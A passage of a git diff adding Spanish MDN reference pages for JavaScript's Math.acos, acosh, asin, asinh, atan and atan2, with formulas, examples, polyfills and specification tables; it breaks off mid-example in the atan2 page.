+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.ceil()")}}</li>
+ <li>{{jsxref("Math.floor()")}}</li>
+ <li>{{jsxref("Math.round()")}}</li>
+ <li>{{jsxref("Math.sign()")}} {{experimental_inline}}</li>
+ <li>{{jsxref("Math.trunc()")}} {{experimental_inline}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/acos/index.html b/files/es/web/javascript/referencia/objetos_globales/math/acos/index.html
new file mode 100644
index 0000000000..3280a9b17f
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/acos/index.html
@@ -0,0 +1,99 @@
+---
+title: Math.acos()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/acos
+tags:
+  - JavaScript
+  - Math
+  - Métodos
+  - Referências
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acos
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.acos()</code></strong> devuelve el arco coseno (en radianes) de un número que es</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.acos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arccos</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mo stretchy="false">[</mo><mn>0</mn><mo>;</mo><mi>π</mi><mo stretchy="false">]</mo><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">cos</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.acos}(x)} = \arccos(x) = \text{ the unique } \; y \in [0; \pi] \, \text{such that} \; \cos(y) = x</annotation></semantics></math></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.acos(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_devuelto">Valor devuelto</h3>
+
+<p>El arco coseno (en radianes) de un número dado si se encuentra entre <strong>-1</strong> y <strong>1</strong>; de otro modo, {{jsxref("NaN")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>Math.acos()</code> devuelve un valor numérico entre 0 y π radianes para <code>x</code> entre -1 y 1. Si el valor de <code>x</code> está fuera de este rango, devuelve {{jsxref("NaN")}}.</p>
+
+<p>Debido a que <code>acos()</code> es un método estático de <code>Math</code>, siempre debe usarse como <code>Math.acos()</code>, en vez de como un método de un objeto <code>Math</code> creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.acos()">Usando <code>Math.acos()</code></h3>
+
+<pre class="brush: js">Math.acos(-2);  // NaN
+Math.acos(-1);  // 3.141592653589793
+Math.acos(0);   // 1.5707963267948966
+Math.acos(0.5); // 1.0471975511965979
+Math.acos(1);   // 0
+Math.acos(2);   // NaN
+</pre>
+
+<p>Para valores menores que  -1 o mayores que 1, <code>Math.acos()</code> devuelve {{jsxref("NaN")}}.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentarios</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementado en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.2', 'Math.acos')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.acos', 'Math.acos')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.acos', 'Math.acos')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegador">Compatibilidad con navegador</h2>
+
+<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.acos")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/acosh/index.html b/files/es/web/javascript/referencia/objetos_globales/math/acosh/index.html
new file mode 100644
index 0000000000..8819e3c69a
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/acosh/index.html
@@ -0,0 +1,94 @@
+---
+title: Math.acosh()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/acosh
+tags:
+  - JavaScript
+  - Math
+  - Referencia
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/acosh
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.acosh()</code></strong> retorna el arco coseno hiperbólico de un número que es: </p>
+
+<p><math display="block"><semantics><annotation encoding="TeX">Para todo x mayor ó igual a 1,se cumple que : la funcion Math.acosh(x) = arcosh(x) = al único y mayor ó igual a 0 ; tal que; cosh(y) = x</annotation></semantics></math></p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.acosh(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_retornado">Valor retornado</h3>
+
+<p>El arco coseno hiperbólico del número dado. Si el número es menor que 1, {{jsxref("NaN")}}.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Como <code>acosh()</code> es un método estático de <code>Math</code>, siempre debe ser usado como <code>Math.acosh()</code>, en vez de como un método de un objeto <code>Math</code> creado (<code>Math</code> no es constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Utilizando_Math.acosh()">Utilizando <code>Math.acosh()</code></h3>
+
+<pre class="brush: js">Math.acosh(-1);  // NaN
+Math.acosh(0);   // NaN
+Math.acosh(0.5); // NaN
+Math.acosh(1);   // 0
+Math.acosh(2);   // 1.3169578969248166
+</pre>
+
+<p>Para valores menores que 1 <code>Math.acosh()</code> retorna {{jsxref("NaN")}}.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>Para todo <math><semantics><mrow><mi>x</mi><mo>≥</mo><mn>1</mn></mrow><annotation encoding="TeX">x mayor ó igual a 1</annotation></semantics></math>, se tiene que el arcosh(x) <math><semantics><annotation encoding="TeX">= ln(x + la raiz cuadrada de(x cuadrado - 1)) </annotation></semantics></math> y esto puede ser emulado con la siguiente funcion:</p>
+
+<pre class="brush: js">Math.acosh = Math.acosh || function(x) {
+  return Math.log(x + Math.sqrt(x * x - 1));
+};
+</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.acosh', 'Math.acosh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Definición inicial.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('ESDraft', '#sec-math.acosh', 'Math.acosh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_de_navegador">Compatibilidad de navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada de datos estructurados. Si desea contribuir a los datos, por favor, revise <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una solicitud de edición.</p>
+
+<p>{{Compat("javascript.builtins.Math.acosh")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.asinh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/asin/index.html b/files/es/web/javascript/referencia/objetos_globales/math/asin/index.html
new file mode 100644
index 0000000000..1a6c78d6a5
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/asin/index.html
@@ -0,0 +1,144 @@
+---
+title: Math.asin()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/asin
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/asin
+---
+<div>{{JSRef}}</div>
+
+<p>La Funcion <strong><code>Math.asin()</code></strong> retorna El arco seno (en radianes) de un número, eso es.</p>
+
+<p><math display="block"><semantics><mrow><mo>∀</mo><mi>x</mi><mo>∊</mo><mo stretchy="false">[</mo><mrow><mo>-</mo><mn>1</mn></mrow><mo>;</mo><mn>1</mn><mo stretchy="false">]</mo><mo>,</mo><mspace width="thickmathspace"></mspace><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.asin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arcsin</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">sin</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\forall x \in [{-1};1],\;\mathtt{\operatorname{Math.asin}(x)} = \arcsin(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \sin(y) = x</annotation></semantics></math></p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code>Math.asin(<var>x</var>)</code></pre>
+
+<h3 id="Parametros">Parametros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un Numero.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>The arcsine (in radians) of the given number if it's between <strong>-1</strong> and <strong>1</strong>; otherwise, {{jsxref("NaN")}}.</p>
+
+<h2 id="Descripcion">Descripcion</h2>
+
+<p>The <code>Math.asin()</code> method returns a numeric value between <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> and <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> radians for <code>x</code> between -1 and 1. If the value of <code>x</code> is outside this range, it returns {{jsxref("NaN")}}.</p>
+
+<p>Because <code>asin()</code> is a static method of <code>Math</code>, you always use it as <code>Math.asin()</code>, rather than as a method of a <code>Math</code> object you created (<code>Math</code> is not a constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.asin()">Usando <code>Math.asin()</code></h3>
+
+<pre class="brush: js">Math.asin(-2);  // NaN
+Math.asin(-1);  // -1.5707963267948966 (-pi/2)
+Math.asin(0);   // 0
+Math.asin(0.5); // 0.5235987755982989
+Math.asin(1);   // 1.5707963267948966 (pi/2)
+Math.asin(2);   // NaN
+</pre>
+
+<p>For values less than -1 or greater than 1, <code>Math.asin()</code> returns {{jsxref("NaN")}}.</p>
+
+<h2 id="Espesificaciones">Espesificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Espesificacion</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Initial definition. Implemented in JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.3', 'Math.asin')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.asin', 'Math.asin')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.asin', 'Math.asin')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_Navegadores">Compatibilidad con Navegadores</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_Mas">Ver Mas</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.atan()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/asinh/index.html b/files/es/web/javascript/referencia/objetos_globales/math/asinh/index.html
new file mode 100644
index 0000000000..9a3204a6a8
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/asinh/index.html
@@ -0,0 +1,90 @@
+---
+title: Math.asinh()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/asinh
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/asinh
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.asinh()</code></strong> retorna el arcoseno hyperbólico de un número, es decir</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.asinh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="thinmathspace">arsinh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> the unique </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mspace width="thickmathspace"></mspace><mtext>such that</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">sinh</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.asinh}(x)} = \operatorname{arsinh}(x) = \text{ the unique } \; y \; \text{such that} \; \sinh(y) = x</annotation></semantics></math></p>
+
+<h2 id="Sintáxis">Sintáxis</h2>
+
+<pre class="syntaxbox"><code>Math.asinh(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El arcoseno hyperbólico del número dado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>Debido a que <code>asinh()</code> es un método estático de  <code>Math</code>, siempre hay que usarlo como <code>Math.asinh()</code>, en lugar de como un método del objeto <code>Math</code> que se hayamos creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usos_de_Math.asinh()">Usos de <code>Math.asinh()</code></h3>
+
+<pre class="brush: js">Math.asinh(1);  // 0.881373587019543
+Math.asinh(0);  // 0
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>As a quick and dirty hack the expression <math><semantics><mrow><mo lspace="0em" rspace="thinmathspace">arsinh</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mo lspace="0em" rspace="0em">ln</mo><mrow><mo>(</mo><mrow><mi>x</mi><mo>+</mo><msqrt><mrow><msup><mi>x</mi><mn>2</mn></msup><mo>+</mo><mn>1</mn></mrow></msqrt></mrow><mo>)</mo></mrow></mrow><annotation encoding="TeX">\operatorname {arsinh} (x) = \ln \left(x + \sqrt{x^{2} + 1} \right)</annotation></semantics></math> may be used directly for a coarse emulation by the following function:</p>
+
+<pre class="brush: js">Math.asinh = Math.asinh || function(x) {
+  if (x === -Infinity) {
+    return x;
+  } else {
+    return Math.log(x + Math.sqrt(x * x + 1));
+  }
+};
+</pre>
+
+<p>Been formally correct it suffers from a number of issues related to floating point computations. Accurate result requires special handling of positive/negative, small/large arguments as it done e.g. in <a href="https://sourceware.org/git/?p=glibc.git;a=blob;f=sysdeps/ieee754/dbl-64/s_asinh.c">glibc</a> or <a href="http://git.savannah.gnu.org/cgit/gsl.git/tree/sys/invhyp.c">GNU Scientific Library</a>.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.asinh', 'Math.asinh')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.asinh', 'Math.asinh')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidades_de_buscadores">Compatibilidades de buscadores</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página se genera a partir de datos estructurados. Si desea contribuir con los datos, consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos un pull request.</p>
+
+<p>{{Compat("javascript.builtins.Math.asinh")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{jsxref("Math.acosh()")}}</li>
+ <li>{{jsxref("Math.atanh()")}}</li>
+ <li>{{jsxref("Math.cosh()")}}</li>
+ <li>{{jsxref("Math.sinh()")}}</li>
+ <li>{{jsxref("Math.tanh()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/atan/index.html b/files/es/web/javascript/referencia/objetos_globales/math/atan/index.html
new file mode 100644
index 0000000000..abb0453e6c
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/atan/index.html
@@ -0,0 +1,107 @@
+---
+title: Math.atan()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/atan
+tags:
+  - JavaScript
+  - Matemática
+  - Math
+  - Method
+  - Trigonometría
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan
+---
+<div>{{JSRef}}</div>
+
+<p>La función <strong><code>Math.atan()</code></strong> retorna el arcotangente (en radianes) de un number, esto es</p>
+
+<p><math display="block"><semantics><mrow><mstyle mathvariant="monospace"><mrow><mo lspace="0em" rspace="thinmathspace">Math.atan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow></mstyle><mo>=</mo><mo lspace="0em" rspace="0em">arctan</mo><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo>=</mo><mtext> el único </mtext><mspace width="thickmathspace"></mspace><mi>y</mi><mo>∊</mo><mrow><mo>[</mo><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac><mo>;</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><mo>]</mo></mrow><mspace width="thinmathspace"></mspace><mtext> tal que</mtext><mspace width="thickmathspace"></mspace><mo lspace="0em" rspace="0em">tan</mo><mo stretchy="false">(</mo><mi>y</mi><mo stretchy="false">)</mo><mo>=</mo><mi>x</mi></mrow><annotation encoding="TeX">\mathtt{\operatorname{Math.atan}(x)} = \arctan(x) = \text{ the unique } \; y \in \left[-\frac{\pi}{2}; \frac{\pi}{2}\right] \, \text{such that} \; \tan(y) = x</annotation></semantics></math></p>
+
+<div>{{EmbedInteractiveExample("pages/js/math-atan.html")}}</div>
+
+<p class="hidden">La fuente para este ejemplo interactivo se encuentra almacenado en un repositorio de GitHub. Si quieres contribuir al proyecto de ejemplos interactivos, por favor clona el repositorio que hay en este link: <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> ; y envíanos una <em>pull request</em>.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.atan(<var>x</var>)</code></pre>
+
+<h3 id="Parámetros">Parámetros</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>Un número.</dd>
+</dl>
+
+<h3 id="Valor_de_retorno">Valor de retorno</h3>
+
+<p>El arcotangente (en radianes) de el número dado.</p>
+
+<h2 id="Descripción">Descripción</h2>
+
+<p>El método <code>Math.atan()</code> retorna un valor numérico entre <math><semantics><mrow><mo>-</mo><mfrac><mi>π</mi><mn>2</mn></mfrac></mrow><annotation encoding="TeX">-\frac{\pi}{2}</annotation></semantics></math> y <math><semantics><mfrac><mi>π</mi><mn>2</mn></mfrac><annotation encoding="TeX">\frac{\pi}{2}</annotation></semantics></math> radianes.</p>
+
+<p>Dado que <code>atan()</code> es un método estático de <code>Math</code>, siempre debes usarlo como <code>Math.atan()</code>, y no como un método de un objeto <code>Math</code> que hayas creado (<code>Math</code> no es un constructor).</p>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Usando_Math.atan()">Usando <code>Math.atan()</code></h3>
+
+<pre class="brush: js">Math.atan(1);   // 0.7853981633974483
+Math.atan(0);   // 0
+Math.atan(-0);  // -0
+
+Math.atan(Infinity); <span class="objectBox objectBox-number">  //  1.5707963267948966
+Math.atan(-Infinity);  // -1.5707963267948966
+
+</span>// El ángulo que la línea [(0,0);(x,y)] forma con el eje-x en un sistema de coordenadas Cartesianas.
+Math.atan(y / x);
+</pre>
+
+<p>Nota que podrías querer evitar usar <strong>±</strong><code>Infinity</code> por razones de estilo. En este caso, {{jsxref("Math.atan2()")}} con <code>0</code> como segundo argumento puede ser una mejor solución.</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definición inicial. Implementada en JavaScript 1.0.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.8.2.4', 'Math.atan')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-math.atan', 'Math.atan')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-math.atan', 'Math.atan')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_el_navegador">Compatibilidad con el navegador</h2>
+
+<p class="hidden">La tabla de compatibilidad en esta página es generada apartir de datos estructurados. Si quieres contribuir a los datos, por favor consulte <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> y envíenos una <em>pull request</em>.</p>
+
+<p>{{Compat("javascript.builtins.Math.atan")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li>{{jsxref("Math.acos()")}}</li>
+ <li>{{jsxref("Math.asin()")}}</li>
+ <li>{{jsxref("Math.atan2()")}}</li>
+ <li>{{jsxref("Math.cos()")}}</li>
+ <li>{{jsxref("Math.sin()")}}</li>
+ <li>{{jsxref("Math.tan()")}}</li>
+</ul>
diff --git a/files/es/web/javascript/referencia/objetos_globales/math/atan2/index.html b/files/es/web/javascript/referencia/objetos_globales/math/atan2/index.html
new file mode 100644
index 0000000000..7b0dc147da
--- /dev/null
+++ b/files/es/web/javascript/referencia/objetos_globales/math/atan2/index.html
@@ -0,0 +1,141 @@
+---
+title: Math.atan2()
+slug: Web/JavaScript/Referencia/Objetos_globales/Math/atan2
+translation_of: Web/JavaScript/Reference/Global_Objects/Math/atan2
+---
+<div>{{JSRef("Global_Objects", "Math")}}</div>
+
+<h2 id="Summary" name="Summary">Resumen</h2>
+
+<p>La función <strong><code>Math.atan2()</code></strong> retorna la arcotangente del cociente de los argumentos.</p>
+
+<h2 id="Syntax" name="Syntax">Sintaxis</h2>
+
+<pre class="syntaxbox"><code>Math.atan2(<var>y</var>, <var>x</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Parámetros</h3>
+
+<dl>
+ <dt><code>y</code></dt>
+ <dd>Primer número.</dd>
+ <dt><code>x</code></dt>
+ <dd>Segundo número.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Descripción</h2>
+
+<p>El método <code>Math.atan2()</code> retorna un valor númerico entre -π y π representando el ángulo theta de un punto <code>(x, y)</code>. Este es un ángulo en sentido antihorario, medido en radianes, entre el eje positivo X, y el punto (<code>x, y)</code>. Tenga en cuenta que esta función recibe la coordenada Y como primer argumento y X como segundo.</p>
+
+<p>A la función<code> Math.atan2()</code> se  le pasan los argumentos <code>x</code> y <code>y</code> por separado, y a <code>Math.atan()</code> se le pasa la relación de los dos argumentos.</p>
+
+<p>Debido a que  <code>atan2()</code> es un método estatico de <code>Math</code>, siempre se debe usar <code>Math.atan2()</code>, en vez de usarlo como un método creado por el objeto <code>Math</code> (<code>Math</code> no es un contructor).</p>
+
+<h2 id="Examples" name="Examples">Ejemplos</h2>
+
+<h3 id="Example:_Using_Math.atan2" name="Example:_Using_Math.atan2">Ejemplo: Usando <code>Math.atan2()</code></h3>
+
+<pre class="brush: js">Math.atan2(90, 15); // 1.4056476493802699
+Math.atan2(15, 90); // 0.16514867741462683
+
+Math.atan2(±0, -0);               // ±PI.
+Math.atan2(±0, +0);               // ±0.
+Math.atan2(±0, -x);               // ±PI for x &gt; 0.
